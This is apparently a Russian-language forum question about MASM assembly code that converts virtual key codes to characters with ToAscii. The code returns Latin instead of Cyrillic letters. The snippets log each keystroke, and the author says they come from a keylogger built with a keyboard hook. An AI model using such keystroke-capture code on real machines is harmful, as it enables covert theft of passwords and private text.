Здравствуйте. Пытаюсь из виртуальной кода клавиши получить русский символ. Подскажите, пожалуйста, что я делаю не так. Код (Text): invoke GetKeyboardState,addr KeybState ; KeybState db 255 dup(?) invoke MapVirtualKey,edi,NULL invoke ToAscii,edi,eax,addr KeybState,addr BuffKey,NULL invoke GetAsyncKeyState,VK_SHIFT .if eax != NULL sub byte ptr [BuffKey],20h .endif invoke SaveToLog,addr BuffKey EDI содержит виртуальный код. Что русская раскладка, что нет, буквы все равно латинские получаются. Что интересно если в параметрах языковой панели “Язык ввода по умолчанию” стоит “Русская – Русская”, то символы русские получаются. До этого писал кейлоггер методом установки хука. Вроде те же параметры ToAscii получает. Но он работал как надо. Код (Text): ;wParam0 - virtual-key code ;lParam0 - keystroke-message information invoke GetKeyboardState,addr KeybState mov eax,lParam0 shr eax,16 and eax,0FFh invoke ToAscii,wParam0,eax,addr KeybState,addr BufKey,NULL